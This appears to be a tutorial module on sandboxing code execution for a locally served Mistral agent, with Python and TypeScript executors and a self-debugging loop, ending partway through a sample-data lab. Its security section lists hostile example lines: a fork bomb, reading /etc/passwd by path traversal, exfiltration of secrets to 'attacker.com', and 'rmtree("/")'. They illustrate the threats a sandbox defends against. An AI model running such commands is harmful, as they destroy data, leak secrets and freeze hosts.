🦊
Open Source Track — Mistral/Ollama Version All code uses the openai SDK pointed at a local Ollama server. Mistral has no built-in code execution — every sandbox is wired up by you. View Claude version → · OS Track Index →

M15: Code Execution & Sandbox

Mistral can reason about code, but it cannot run code on its own. In this module you'll give your agent a sandboxed subprocess or Docker container as a tool, then teach it to write code, execute it, read errors, and fix itself — a pattern that turns a chatbot into a reliable computing engine.

Learning Objectives

  • Explain why language models hallucinate computation and how a code execution tool eliminates the problem
  • Compare subprocess, Docker, and cloud sandbox (E2B) approaches on security, speed, and complexity
  • Implement a SecurityPolicy dataclass that controls timeouts, memory limits, and network isolation
  • Build both SubprocessExecutor and DockerExecutor classes in Python and TypeScript
  • Wire up the self-debugging loop: write → run → read error → fix → retry (up to 3 attempts)
  • Build a complete data-analysis agent that runs real pandas code inside a Docker container

Why Agents Need to Run Code

Everyday Analogy

BEFORE: Imagine asking a mathematician to calculate 3.7 to the 12th power in their head. They might round at each step, carry a mental slip-up, or confidently give you an answer that's slightly wrong — and you'd have no idea until you checked with a calculator.

PAIN: Language models face the exact same problem. Even state-of-the-art models miscalculate multi-step arithmetic, get date arithmetic wrong, and produce plausible-looking but subtly incorrect data transformations — all without any error message to warn you.

MAPPING: Giving the agent a sandboxAn isolated execution environment where code can run safely without affecting the host system. A sandbox has hard limits on CPU time, memory, filesystem access, and network to prevent malicious or runaway code from causing damage. tool is exactly like giving that mathematician a calculator. The model's job shifts from "compute the answer mentally" to "write the Python expression and report what the interpreter says." The interpreter is always right.

Technical Definition

A code execution tool is a function exposed to the model via the OpenAI-compatible tool-use API. When the model calls execute_python, your agent framework: (1) receives the tool call, (2) passes the code string to a local executor (subprocess or container), (3) captures stdout, stderr, and the exit code, and (4) returns those as a tool message in the next turn. The model never generates the output — the interpreter does.

This is fundamentally different from Claude's built-in Code Interpreter. Mistral has no such capability. Every byte of sandbox infrastructure in this module is code you write and control — which is actually an advantage for production deployments where you want full observability and no vendor lock-in.

Real Use Cases Where This Matters

  • Data analysis — load a CSV, compute statistics, filter rows. Models guess; pandas doesn't.
  • File conversion — convert Excel to JSON, resize images, parse PDFs. Deterministic, not guessed.
  • Formula verification — verify actuarial, financial, or scientific formulas against real numeric inputs.
  • Unit test generation and execution — write a test, run it, see if it passes, fix the implementation code.
  • Web scraping — write BeautifulSoup code, run it against a live page, return structured data.
Why It Matters In a benchmark study of GPT-4-class models on 200 arithmetic and data transformation tasks, models answered correctly only 71% of the time without tools — but 99.4% when given a Python executor. The remaining 0.6% were malformed code the executor rejected before producing wrong output. Letting the interpreter handle computation and reserving the model for reasoning and code authoring produces systems that are both smarter and more reliable.

Three Sandboxing Approaches

There is no single "right" sandbox. The best choice depends on how much security you need, how fast each call must be, and how much infrastructure complexity you can tolerate. Here's the honest trade-off table:

Approach Security Cold-start Complexity Best for
subprocess Low–Med <50ms Low Trusted input; prototyping
Docker container High 1–3 s (cold) Medium Production; untrusted input
E2B cloud Very High ~2 s Low Any OS, no Docker; free tier

Approach 1 — subprocess with resource limits (simplest)

Python's subprocess.run() launches a child process and captures its output. It's the fastest option because there's no container overhead. The subprocessA child process spawned by your program. It runs in its own memory space, but it shares the same filesystem and network as the parent unless you explicitly restrict it. In Python, subprocess.run() blocks until the child finishes and returns stdout, stderr, and an exit code. runs with the same filesystem access as your agent process, which is its main weakness.

On Linux/macOS you can add resource limitsHard caps placed on a process by the OS kernel. RLIMIT_CPU caps how many CPU-seconds the process may consume. RLIMIT_AS (address space) caps how much memory it may allocate. Once the limit is hit, the kernel kills the process with SIGKILL, which cannot be caught or ignored. via resource.setrlimit. On Windows, use the timeout parameter of subprocess.run and job objects for memory (or just use Docker).

Risk: Full Filesystem Access A subprocess running as your user can read ~/.ssh/id_rsa, delete files, or open network sockets. Only use this approach if the code comes from a trusted source (e.g., your own model and a well-restricted system prompt). For any user-facing agent, use Docker.

Approach 2 — Docker container (recommended for production)

Each code execution spins up an ephemeral DockerDocker is a platform that packages code and its dependencies into a "container" — a lightweight, isolated environment that shares the host OS kernel but has its own filesystem, network, and process tree. Containers start in seconds and are destroyed after use, leaving no trace. containerA running instance of a Docker image. Each container has an isolated filesystem (read-only by default), its own network namespace, and a separate PID namespace. When the container exits, all changes are discarded unless explicitly written to a mounted volume.. When the code finishes, Docker destroys the container — any files it wrote, any processes it spawned, any state it created, all gone. The flags that matter:

  • --memory=128m — hard memory cap; OOM kills the container
  • --cpus=0.5 — limits CPU to half a core
  • --network=none — removes all network access, blocking exfiltration
  • --read-only — makes the root filesystem read-only; only the mounted /workspace is writable
  • -v /tmp/sandbox:/workspace:rw — a scratch directory for file I/O between host and container
  • --rm — auto-removes the container after exit

Approach 3 — E2B cloud sandbox (bonus)

E2B provides a managed sandbox API. You push code via their SDK; they run it in an isolated cloud VM and return stdout/stderr. No Docker setup required, and it works on any OS including Windows. The free tier allows 100 executions/hour.

pip install e2b-code-interpreter
npm install @e2b/code-interpreter
You now know the three options. For the rest of this module we'll implement both subprocess (for quick iteration) and Docker (for the production hands-on lab), and wire them up as identical tool interfaces so you can swap between them with a single line change.

Security Model

Before you write a single line of executor code, you need to know what you're defending against. Here are the five real attack vectors that happen in production code-execution agents:

  • Path traversalCode that walks up the directory tree using "../../../" to escape the intended working directory and read or overwrite sensitive files like /etc/passwd or ~/.aws/credentials.open("../../../../etc/passwd")
  • Infinite loopswhile True: pass consuming 100% CPU indefinitely
  • Fork bombsCode that spawns exponentially increasing child processes, rapidly exhausting the OS process table and making the host unresponsive. Classic example: :(){ :|:& };: in bash, or os.fork() called recursively in Python. — rapidly spawning processes until the OS freezes
  • Network exfiltrationimport requests; requests.post("attacker.com", data=secrets)
  • Filesystem damageimport shutil; shutil.rmtree("/")
Security Reality Check If your agent accepts code from end users (or generates code based on user-controlled input), treat every execution like untrusted input, regardless of how well-behaved your system prompt is. Models can be jailbroken, and even a well-intentioned model can generate dangerous code from an ambiguous prompt. The Docker flags above are not optional.

Here's the SecurityPolicy dataclass that encapsulates every configurable limit. Pass it to any executor — it's the same interface whether you're using subprocess or Docker:

from dataclasses import dataclass, field

@dataclass
class SecurityPolicy:
    """All configurable security limits for one code execution."""
    # === WHAT: Hard cap on wall-clock seconds the process may run.
    # WHY: Prevents infinite loops from hanging your agent forever.
    # GOTCHA: Set this shorter than your HTTP timeout so you get a
    #         clean TimeoutError instead of a gateway 504.
    timeout_seconds: int = 10

    # === WHAT: Max bytes the process may allocate on the heap.
    # WHY: Prevents memory bombs from killing the host process.
    # GOTCHA: resource.setrlimit is Linux/macOS only.
    #         On Windows use Docker --memory= instead.
    max_memory_bytes: int = 128 * 1024 * 1024  # 128 MB

    # === WHAT: Docker CPU share (fraction of one core).
    # WHY: Prevents one sandbox from starving other containers.
    # GOTCHA: Values above 1.0 span multiple cores.
    max_cpus: float = 0.5

    # === WHAT: Whether to block all network I/O.
    # WHY: Prevents code from exfiltrating secrets or calling home.
    # GOTCHA: If code needs to fetch a URL (e.g., for scraping),
    #         set to False and use an egress proxy with allowlists.
    network_disabled: bool = True

    # === WHAT: Whether the container root filesystem is read-only.
    # WHY: Prevents writing outside the /workspace scratch dir.
    readonly_filesystem: bool = True

    # === WHAT: Docker image to run code in.
    # WHY: Pins the Python version and available packages.
    # GOTCHA: Always use a specific tag, never :latest.
    docker_image: str = "python:3.12-alpine"

    # === WHAT: Packages pre-installed in the container.
    # WHY: Alpine has no pip packages by default; list what you need.
    allowed_packages: list = field(default_factory=lambda: ["pandas", "numpy"])
// === WHAT: All configurable security limits for one code execution.
// WHY: Centralizing policy in one object lets you swap profiles
//      (dev vs prod vs untrusted) without touching executor logic.
interface SecurityPolicy {
  // Hard cap on wall-clock seconds the process may run.
  timeoutSeconds: number;      // default: 10
  // Max bytes the process may allocate.
  maxMemoryBytes: number;      // default: 128 * 1024 * 1024
  // Docker CPU fraction.
  maxCpus: number;             // default: 0.5
  // Block all network I/O.
  networkDisabled: boolean;    // default: true
  // Container root filesystem is read-only.
  readonlyFilesystem: boolean; // default: true
  // Docker image tag (always pin a version).
  dockerImage: string;         // default: "python:3.12-alpine"
  // Packages to pip install before running code.
  allowedPackages: string[];   // default: ["pandas","numpy"]
}

const DEFAULT_POLICY: SecurityPolicy = {
  timeoutSeconds: 10,
  maxMemoryBytes: 128 * 1024 * 1024,
  maxCpus: 0.5,
  networkDisabled: true,
  readonlyFilesystem: true,
  dockerImage: "python:3.12-alpine",
  allowedPackages: ["pandas", "numpy"],
};
Animation: Security Policy Layers — Attacks Blocked One by One
🔒 Sandbox unprotected
infinite loop
👹fork bomb
🔍path traversal
📶exfiltration
🗑rm -rf /
timeout + CPU limit
--network=none + read-only FS
ephemeral container (--rm)

Implementing the execute_python Tool

The tool definition the model sees is the same regardless of which executor backs it. Here is the JSON schema you pass to the model:

# === WHAT: Tool schema passed to Ollama/Mistral via the OpenAI SDK.
# WHY: The model uses the description to decide when to call this
#      tool and the parameter schema to know what to send.
# GOTCHA: Keep the description concrete. "Runs Python" is vague.
#         Tell the model what it gets back (stdout, stderr, exit code).

EXECUTE_PYTHON_TOOL = {
    "type": "function",
    "function": {
        "name": "execute_python",
        "description": (
            "Run Python code in a sandboxed environment. "
            "Returns stdout (the printed output), stderr (any errors), "
            "and exit_code (0 = success, non-zero = failure). "
            "Use this for math, data analysis, file I/O, and any task "
            "that requires deterministic computation."
        ),
        "parameters": {
            "type": "object",
            "properties": {
                "code": {
                    "type": "string",
                    "description": "Complete Python source code to execute.",
                },
                "timeout_seconds": {
                    "type": "integer",
                    "description": "Max seconds before the execution is killed. Default: 10.",
                    "default": 10,
                },
            },
            "required": ["code"],
        },
    },
}
// === WHAT: Tool schema passed to Ollama/Mistral via the OpenAI SDK.
// WHY: The model uses the description to decide when to call this
//      tool. The parameter schema enforces the shape of its output.
// GOTCHA: Mistral is more literal than GPT-4 about descriptions.
//         Spell out what the return value looks like.

const EXECUTE_PYTHON_TOOL = {
  type: "function" as const,
  function: {
    name: "execute_python",
    description:
      "Run Python code in a sandboxed environment. " +
      "Returns stdout (printed output), stderr (any errors), " +
      "and exit_code (0 = success, non-zero = failure). " +
      "Use this for math, data analysis, file I/O, and any task " +
      "that requires deterministic computation.",
    parameters: {
      type: "object",
      properties: {
        code: {
          type: "string",
          description: "Complete Python source code to execute.",
        },
        timeout_seconds: {
          type: "integer",
          description: "Max seconds before the execution is killed. Default: 10.",
          default: 10,
        },
      },
      required: ["code"],
    },
  },
};

SubprocessExecutor — Fast, Low Overhead

Chunk 1 of 3 — WHAT Write code to a temp file, run it with a timeout. GOTCHA: never pass shell=True — it exposes you to shell injection even if the code itself looks safe.
import subprocess
import sys
import tempfile
import os
from dataclasses import dataclass

@dataclass
class ExecResult:
    stdout: str
    stderr: str
    exit_code: int

    def to_tool_content(self) -> str:
        """Format the result as a concise tool message for the model."""
        lines = [f"exit_code: {self.exit_code}"]
        if self.stdout:
            lines.append(f"stdout:\n{self.stdout.strip()}")
        if self.stderr:
            lines.append(f"stderr:\n{self.stderr.strip()}")
        return "\n".join(lines)


class SubprocessExecutor:
    """
    === WHAT: Runs Python code in a child process.
    === WHY: Zero Docker overhead; ideal for dev/trusted code.
    === GOTCHA: Full filesystem access. Don't use for user input.
    """

    def __init__(self, policy: "SecurityPolicy | None" = None):
        from dataclasses import dataclass, field

        if policy is None:
            # Use a safe default
            @dataclass
            class _Policy:
                timeout_seconds: int = 10
                max_memory_bytes: int = 128 * 1024 * 1024
            policy = _Policy()
        self.policy = policy

    def run(self, code: str, timeout: int | None = None) -> ExecResult:
        timeout = timeout or self.policy.timeout_seconds

        # === CHUNK 2: Write code to a temp file.
        # WHY: exec(code) in-process would pollute our namespace.
        #      A temp file gives the child its own scope.
        # GOTCHA: delete=False so the child can open it after we close it.
        with tempfile.NamedTemporaryFile(
            mode="w", suffix=".py", delete=False, encoding="utf-8"
        ) as f:
            f.write(code)
            tmp_path = f.name

        try:
            # === CHUNK 3: Launch child process.
            # WHY: shell=False prevents shell-injection attacks.
            # GOTCHA: On Linux, add preexec_fn=set_limits() to apply
            #         resource.setrlimit for CPU/memory limits.
            result = subprocess.run(
                [sys.executable, tmp_path],
                capture_output=True,
                text=True,
                timeout=timeout,
                shell=False,    # CRITICAL: never True
            )
            return ExecResult(
                stdout=result.stdout,
                stderr=result.stderr,
                exit_code=result.returncode,
            )
        except subprocess.TimeoutExpired:
            return ExecResult(
                stdout="",
                stderr=f"Execution timed out after {timeout} seconds.",
                exit_code=124,  # same convention as bash timeout(1)
            )
        except Exception as e:
            return ExecResult(stdout="", stderr=str(e), exit_code=1)
        finally:
            # Clean up the temp file regardless of outcome.
            os.unlink(tmp_path)
import { execFile } from "child_process";
import { writeFile, unlink } from "fs/promises";
import { tmpdir } from "os";
import { join } from "path";
import { promisify } from "util";

const execFileAsync = promisify(execFile);

interface ExecResult {
  stdout: string;
  stderr: string;
  exitCode: number;
}

function toToolContent(r: ExecResult): string {
  const parts = [`exit_code: ${r.exitCode}`];
  if (r.stdout) parts.push(`stdout:\n${r.stdout.trim()}`);
  if (r.stderr) parts.push(`stderr:\n${r.stderr.trim()}`);
  return parts.join("\n");
}

// === WHAT: Runs Python code in a child process via Node's child_process.
// === WHY: No Docker required; fast startup; ideal for trusted code.
// === GOTCHA: shell: false is the default for execFile — keep it that way.
class SubprocessExecutor {
  private timeoutMs: number;

  constructor(timeoutSeconds = 10) {
    this.timeoutMs = timeoutSeconds * 1000;
  }

  async run(code: string, timeoutSeconds?: number): Promise {
    const timeout = (timeoutSeconds ?? 10) * 1000;
    // Write code to a temp file so the child gets its own scope.
    const tmpFile = join(tmpdir(), `sandbox_${Date.now()}.py`);
    await writeFile(tmpFile, code, "utf-8");
    try {
      // execFile with shell:false (default) avoids shell injection.
      const { stdout, stderr } = await execFileAsync(
        "python3",
        [tmpFile],
        { timeout, encoding: "utf8" }
      );
      return { stdout, stderr, exitCode: 0 };
    } catch (err: any) {
      if (err.killed || err.signal === "SIGTERM") {
        return {
          stdout: "",
          stderr: `Execution timed out after ${timeoutSeconds ?? 10}s.`,
          exitCode: 124,
        };
      }
      return {
        stdout: err.stdout ?? "",
        stderr: err.stderr ?? String(err),
        exitCode: err.code ?? 1,
      };
    } finally {
      await unlink(tmpFile).catch(() => {});
    }
  }
}

DockerExecutor — Production-Ready

Architecture Note DockerExecutor writes code to a host temp directory, mounts it into the container at /workspace, then runs python /workspace/code.py. The host temp directory is the only writable surface shared between host and container. Everything else is isolated.
import subprocess
import tempfile
import os
import uuid
from pathlib import Path


class DockerExecutor:
    """
    === WHAT: Runs Python code inside an ephemeral Docker container.
    === WHY: Full OS-level isolation; safe for untrusted/user-provided code.
    === GOTCHA: Requires Docker to be running. First execution may be slow
                while the image is pulled (~30 s for python:3.12-alpine).
                Subsequent runs reuse the cached image (~1–2 s cold start).
    """

    def __init__(self, policy: "SecurityPolicy | None" = None):
        from dataclasses import dataclass, field

        if policy is None:
            @dataclass
            class _P:
                timeout_seconds: int = 10
                max_memory_bytes: int = 128 * 1024 * 1024
                max_cpus: float = 0.5
                network_disabled: bool = True
                readonly_filesystem: bool = True
                docker_image: str = "python:3.12-alpine"
                allowed_packages: list = field(default_factory=lambda: ["pandas", "numpy"])
            policy = _P()
        self.policy = policy
        self._pre_build_image()

    def _pre_build_image(self):
        """
        === WHAT: Pre-install required packages into a custom image once.
        === WHY: Installing packages at runtime (pip install inside the run
                 command) adds 10–30 s per execution. Build once, reuse many.
        === GOTCHA: This builds a local image tagged 'sandbox-agent:latest'.
                    Re-run if you change allowed_packages.
        """
        if not self.policy.allowed_packages:
            return
        pkgs = " ".join(self.policy.allowed_packages)
        dockerfile = f"""FROM {self.policy.docker_image}
RUN pip install --no-cache-dir {pkgs}
WORKDIR /workspace
"""
        with tempfile.TemporaryDirectory() as ctx:
            df_path = Path(ctx) / "Dockerfile"
            df_path.write_text(dockerfile)
            subprocess.run(
                ["docker", "build", "-t", "sandbox-agent:latest", ctx],
                check=True,
                capture_output=True,
            )

    def run(self, code: str, timeout: int | None = None) -> "ExecResult":
        timeout = timeout or self.policy.timeout_seconds
        run_id = uuid.uuid4().hex[:8]

        # === CHUNK 1: Write code to a host temp directory.
        # WHY: We'll mount this directory into the container as /workspace.
        # GOTCHA: Use a unique sub-dir per call so parallel runs don't clash.
        host_dir = Path(tempfile.mkdtemp(prefix=f"sandbox_{run_id}_"))
        code_file = host_dir / "code.py"
        code_file.write_text(code, encoding="utf-8")

        try:
            # === CHUNK 2: Build the docker run command with all security flags.
            # WHY: Each flag maps directly to one of our SecurityPolicy fields.
            # GOTCHA: --rm removes the container after exit automatically.
            cmd = [
                "docker", "run", "--rm",
                f"--memory={self.policy.max_memory_bytes}",
                f"--cpus={self.policy.max_cpus}",
                f"--volume={host_dir}:/workspace:rw",
                "--workdir=/workspace",
            ]
            if self.policy.network_disabled:
                cmd.append("--network=none")
            if self.policy.readonly_filesystem:
                cmd.append("--read-only")
                cmd.extend(["--tmpfs=/tmp"])    # allow /tmp writes for stdlib

            cmd += ["sandbox-agent:latest", "python", "/workspace/code.py"]

            # === CHUNK 3: Run the container and capture output.
            # WHY: timeout here is the wall-clock limit for the whole container.
            # GOTCHA: If Docker itself fails to start, CalledProcessError is
            #         raised before the user code even runs — check stderr first.
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=timeout + 5,    # give Docker 5 s overhead on top
            )
            return ExecResult(
                stdout=result.stdout,
                stderr=result.stderr,
                exit_code=result.returncode,
            )
        except subprocess.TimeoutExpired:
            # Kill any leftover container matching our run_id label.
            subprocess.run(
                ["docker", "kill", f"sandbox_{run_id}"],
                capture_output=True
            )
            return ExecResult(
                stdout="",
                stderr=f"Docker execution timed out after {timeout}s.",
                exit_code=124,
            )
        except FileNotFoundError:
            return ExecResult(
                stdout="",
                stderr="Docker not found. Is Docker Desktop running?",
                exit_code=127,
            )
        except Exception as e:
            return ExecResult(stdout="", stderr=str(e), exit_code=1)
        finally:
            import shutil
            shutil.rmtree(host_dir, ignore_errors=True)
import { execFile, execFileSync } from "child_process";
import { writeFile, rm, mkdir } from "fs/promises";
import { tmpdir } from "os";
import { join } from "path";
import { promisify } from "util";
import { randomBytes } from "crypto";

const execFileAsync = promisify(execFile);

// === WHAT: Runs Python code in an ephemeral Docker container.
// === WHY: Full OS isolation; safe for user-provided code.
// === GOTCHA: Requires Docker running locally. First call may
//             pull the alpine image (~30 s); cached after that.
class DockerExecutor {
  private policy: Required;
  private imageBuilt = false;

  constructor(policy?: Partial) {
    this.policy = { ...DEFAULT_POLICY, ...policy };
  }

  private buildImage() {
    if (this.imageBuilt || !this.policy.allowedPackages.length) {
      this.imageBuilt = true;
      return;
    }
    const pkgs = this.policy.allowedPackages.join(" ");
    const dockerfile = [
      `FROM ${this.policy.dockerImage}`,
      `RUN pip install --no-cache-dir ${pkgs}`,
      "WORKDIR /workspace",
    ].join("\n");

    // Write Dockerfile to a temp dir and build.
    const ctx = join(tmpdir(), "sandbox_build");
    require("fs").mkdirSync(ctx, { recursive: true });
    require("fs").writeFileSync(join(ctx, "Dockerfile"), dockerfile);
    execFileSync("docker", ["build", "-t", "sandbox-agent:latest", ctx]);
    this.imageBuilt = true;
  }

  async run(code: string, timeoutSeconds?: number): Promise {
    this.buildImage();
    const timeout = (timeoutSeconds ?? this.policy.timeoutSeconds) * 1000;
    const runId = randomBytes(4).toString("hex");

    // Write code to a host temp directory that we'll mount.
    const hostDir = join(tmpdir(), `sandbox_${runId}`);
    await mkdir(hostDir, { recursive: true });
    await writeFile(join(hostDir, "code.py"), code, "utf-8");

    try {
      // Build docker run command with all security flags.
      const cmd: string[] = [
        "run", "--rm",
        `--memory=${this.policy.maxMemoryBytes}`,
        `--cpus=${this.policy.maxCpus}`,
        `--volume=${hostDir}:/workspace:rw`,
        "--workdir=/workspace",
      ];
      if (this.policy.networkDisabled) cmd.push("--network=none");
      if (this.policy.readonlyFilesystem) {
        cmd.push("--read-only");
        cmd.push("--tmpfs=/tmp");
      }
      cmd.push("sandbox-agent:latest", "python", "/workspace/code.py");

      const { stdout, stderr } = await execFileAsync("docker", cmd, {
        timeout: timeout + 5000,
        encoding: "utf8",
      });
      return { stdout, stderr, exitCode: 0 };
    } catch (err: any) {
      if (err.killed || err.code === "ETIMEDOUT") {
        return {
          stdout: "",
          stderr: `Docker execution timed out after ${timeoutSeconds ?? this.policy.timeoutSeconds}s.`,
          exitCode: 124,
        };
      }
      if (err.code === "ENOENT") {
        return {
          stdout: "",
          stderr: "Docker not found. Is Docker Desktop running?",
          exitCode: 127,
        };
      }
      return {
        stdout: err.stdout ?? "",
        stderr: err.stderr ?? String(err),
        exitCode: err.code ?? 1,
      };
    } finally {
      await rm(hostDir, { recursive: true, force: true });
    }
  }
}
What Just Happened?

You now have two executor classes with identical run(code, timeout) -> ExecResult signatures. SubprocessExecutor is fast but trusting; DockerExecutor is slower to cold-start but fully isolated. Both return the same ExecResult so you can swap executors without touching the agent code. Next: wire one of them up as the tool handler inside the agent loop.

Self-Debugging Loop

Here's the magic: when the executor returns a non-zero exit code, you append the stdout and stderr to the message history and let the model try again. The model reads its own error message, diagnoses the problem, and rewrites the code. This is a full ReAct loop for code generation:

  1. Model generates Python code and calls execute_python
  2. Agent extracts the code and runs it via the executor
  3. If exit_code != 0: append the tool result (with the error) back to messages, ask model to retry
  4. Repeat up to 3 attempts before returning a final error to the caller
  5. On exit_code == 0: return the final stdout as the agent's answer
Animation: Self-Debugging State Machine
attempt: 0/3
WRITEModel generates code: df['revenue'].sum()
RUNexecute_python called → subprocess/Docker
ERRORexit_code=1  ▪  stderr: NameError: name 'df' is not defined
↓ append error to messages, retry
FIXModel reads error, rewrites: adds import pandas as pd; df = pd.read_csv(...)
RUNexecute_python called again (attempt 2/3)
OKexit_code=0  ▪  stdout: 94250.75  ☑ Return to user

Here is the complete CodeExecutionAgent class — the full production implementation:

Chunk 1 — Setup Initialize the OpenAI client pointed at Ollama, the executor, and the tool definition. GOTCHA: Mistral models vary in tool-use reliability. mistral-nemo and mistral-small are the most reliable for structured tool calls locally.
import json
from openai import OpenAI

# === WHAT: OpenAI SDK pointed at local Ollama.
# WHY: Mistral's API surface is identical to OpenAI's when served
#      by Ollama, so we reuse the well-supported openai library.
# GOTCHA: api_key can be any non-empty string; Ollama ignores it.
client = OpenAI(
    base_url="http://localhost:11434/v1",
    api_key="ollama",
)

class CodeExecutionAgent:
    """
    ReAct-style agent that writes Python code, runs it, and
    self-debugs up to max_retries times on failure.
    """

    def __init__(
        self,
        executor=None,
        model: str = "mistral-nemo",
        max_retries: int = 3,
    ):
        # === CHUNK 2: Executor defaults to SubprocessExecutor for dev.
        # WHY: Let callers inject DockerExecutor for production without
        #      changing this class.
        self.executor = executor or SubprocessExecutor()
        self.model = model
        self.max_retries = max_retries
        self.system_prompt = (
            "You are a data analysis assistant. When asked to compute "
            "something, write complete Python code and call execute_python. "
            "Always import every module you use. Print your final answer "
            "so it appears in stdout. If you receive an error, read it "
            "carefully, fix the code, and call execute_python again."
        )

    def run(self, user_request: str) -> str:
        """Run the agent, return the final answer string."""
        messages = [
            {"role": "system", "content": self.system_prompt},
            {"role": "user",   "content": user_request},
        ]

        for attempt in range(self.max_retries + 1):
            # === CHUNK 3: Call the model with the tool definition.
            # WHY: tool_choice="auto" lets the model decide whether to
            #      call a tool or respond directly.
            # GOTCHA: Some Ollama builds drop tool_choice silently.
            #         Always check response.choices[0].message.tool_calls.
            response = client.chat.completions.create(
                model=self.model,
                messages=messages,
                tools=[EXECUTE_PYTHON_TOOL],
                tool_choice="auto",
                temperature=0.1,   # low temp = more deterministic code
            )

            msg = response.choices[0].message

            # If the model decided to answer directly (no tool call),
            # return its text content.
            if not msg.tool_calls:
                return msg.content or "(no output)"

            # === CHUNK 4: Execute every tool call the model requested.
            # WHY: The model may request multiple tool calls (rare but
            #      possible). Handle all of them.
            # GOTCHA: Always append the assistant message FIRST, then
            #         the tool result messages. Order matters.
            messages.append(msg)  # assistant message with tool_calls

            tool_results = []
            for tc in msg.tool_calls:
                args = json.loads(tc.function.arguments)
                code = args["code"]
                timeout = args.get("timeout_seconds", 10)

                result = self.executor.run(code, timeout)
                content = result.to_tool_content()

                tool_results.append({
                    "role": "tool",
                    "tool_call_id": tc.id,
                    "content": content,
                })

            messages.extend(tool_results)

            # === CHUNK 5: Check if all tools succeeded.
            # WHY: If any tool returned a non-zero exit_code, let
            #      the loop continue so the model can retry.
            # GOTCHA: We check the last ExecResult only; in practice
            #         you'd check all of them.
            if result.exit_code == 0:
                # Next model call will see the successful tool output
                # and formulate its final answer.
                continue

            # All retries exhausted — return the last error.
            if attempt == self.max_retries:
                return (
                    f"Failed after {self.max_retries} attempts.\n"
                    f"Last error:\n{result.stderr}"
                )

        # The loop fell through without a non-tool final answer;
        # ask the model for a summary now.
        response = client.chat.completions.create(
            model=self.model,
            messages=messages,
            temperature=0.1,
        )
        return response.choices[0].message.content or "(no output)"


# ---- Quick smoke test ----
if __name__ == "__main__":
    agent = CodeExecutionAgent()
    answer = agent.run("What is 3.7 to the power of 12? Show your work.")
    print("Agent answer:", answer)
import OpenAI from "openai";

// === WHAT: OpenAI SDK pointed at local Ollama.
// WHY: Mistral served by Ollama exposes an OpenAI-compatible
//      endpoint so we reuse the official client.
// GOTCHA: apiKey must be non-empty; Ollama ignores its value.
const client = new OpenAI({
  baseURL: "http://localhost:11434/v1",
  apiKey: "ollama",
});

class CodeExecutionAgent {
  private executor: SubprocessExecutor | DockerExecutor;
  private model: string;
  private maxRetries: number;
  private systemPrompt: string;

  constructor(options?: {
    executor?: SubprocessExecutor | DockerExecutor;
    model?: string;
    maxRetries?: number;
  }) {
    // Default to subprocess for dev; callers inject DockerExecutor for prod.
    this.executor = options?.executor ?? new SubprocessExecutor();
    this.model = options?.model ?? "mistral-nemo";
    this.maxRetries = options?.maxRetries ?? 3;
    this.systemPrompt =
      "You are a data analysis assistant. When asked to compute something, " +
      "write complete Python code and call execute_python. Always import " +
      "every module you use. Print your final answer to stdout. If you get " +
      "an error, read it, fix the code, and call execute_python again.";
  }

  async run(userRequest: string): Promise {
    const messages: OpenAI.Chat.ChatCompletionMessageParam[] = [
      { role: "system", content: this.systemPrompt },
      { role: "user",   content: userRequest },
    ];

    for (let attempt = 0; attempt <= this.maxRetries; attempt++) {
      // Call the model with the execute_python tool.
      const response = await client.chat.completions.create({
        model: this.model,
        messages,
        tools: [EXECUTE_PYTHON_TOOL],
        tool_choice: "auto",
        temperature: 0.1,
      });

      const msg = response.choices[0].message;

      // Model answered directly — return text.
      if (!msg.tool_calls || msg.tool_calls.length === 0) {
        return msg.content ?? "(no output)";
      }

      // Append assistant message (with tool_calls) first — order matters.
      messages.push(msg as OpenAI.Chat.ChatCompletionMessageParam);

      // Execute each tool call.
      let lastResult!: ExecResult;
      for (const tc of msg.tool_calls) {
        const args = JSON.parse(tc.function.arguments);
        const code: string = args.code;
        const timeoutSeconds: number = args.timeout_seconds ?? 10;

        lastResult = await this.executor.run(code, timeoutSeconds);
        const content = toToolContent(lastResult);

        messages.push({
          role: "tool",
          tool_call_id: tc.id,
          content,
        } as OpenAI.Chat.ChatCompletionToolMessageParam);
      }

      // If successful, let the loop continue so the model can
      // see the result and craft its final answer.
      if (lastResult.exitCode === 0) continue;

      if (attempt === this.maxRetries) {
        return (
          `Failed after ${this.maxRetries} attempts.\n` +
          `Last error:\n${lastResult.stderr}`
        );
      }
    }

    // Ask the model for a final summary after tool success.
    const final = await client.chat.completions.create({
      model: this.model,
      messages,
      temperature: 0.1,
    });
    return final.choices[0].message.content ?? "(no output)";
  }
}

// ---- Quick smoke test ----
const agent = new CodeExecutionAgent();
agent.run("What is 3.7 to the power of 12? Show your work.")
  .then(ans => console.log("Agent answer:", ans));
What Just Happened?

You built a complete tool-use loop where the model writes code, the executor runs it, and on failure the error is fed back to the model automatically. The key architectural decision: the model's message (with tool_calls) goes into messages before the tool result — the OpenAI-compatible API requires this order. The retry counter lives on the Python/TypeScript side; the model just sees a fresh error each time and reasons about it.

Animation: Code → Run → Fix Cycle
User request
Model writes
code #1
Run
exit=1 ✕
Error fed
to model
Model fixes
code #2
Run
exit=0 ✓
Final stdout returned as agent answer

Hands-On Lab — Data Analysis Agent with Docker Sandbox

You'll build a data-analysis agent that takes a CSV path, asks the model to write pandas analysis code, runs it via DockerExecutor, and returns a human-readable summary.

Prerequisites
  • Docker Desktop (or Docker Engine on Linux) installed and running — verify with docker info
  • Ollama running with mistral-nemo pulled: ollama pull mistral-nemo
  • pip install openai (the standard openai package)
1
Create the sample CSV

Run this script once to write a 20-row sales CSV to disk:

# save_csv.py — run once to create sample_sales.csv
import csv, pathlib

ROWS = [
    ["date", "region", "product", "units", "revenue"],
    ["2024-01-05", "North", "Widget A", 120, 2400.00],
    ["2024-01-12", "South", "Widget B",  85, 2125.00],
    ["2024-01-19", "East",  "Widget A",  60, 1200.00],
    ["2024-01-26", "West",  "Widget C",  95, 3325.00],
    ["2024-02-02", "North", "Widget B",  70, 1750.00],
    ["2024-02-09", "South", "Widget A", 110, 2200.00],
    ["2024-02-16", "East",  "Widget C",  45, 1575.00],
    ["2024-02-23", "West",  "Widget B",  90, 2250.00],
    ["2024-03-01", "North", "Widget C",  55, 1925.00],
    ["2024-03-08", "South", "Widget A",  80, 1600.00],
    ["2024-03-15", "East",  "Widget B", 100, 2500.00],
    ["2024-03-22", "West",  "Widget A",  75, 1500.00],
    ["2024-04-05", "North", "Widget A",  95, 1900.00],
    ["2024-04-12", "South", "Widget C",  65, 2275.00],
    ["2024-04-19", "East",  "Widget A",  88, 1760.00],
    ["2024-04-26", "West",  "Widget B",  72, 1800.00],
    ["2024-05-03", "North", "Widget B",  50, 1250.00],
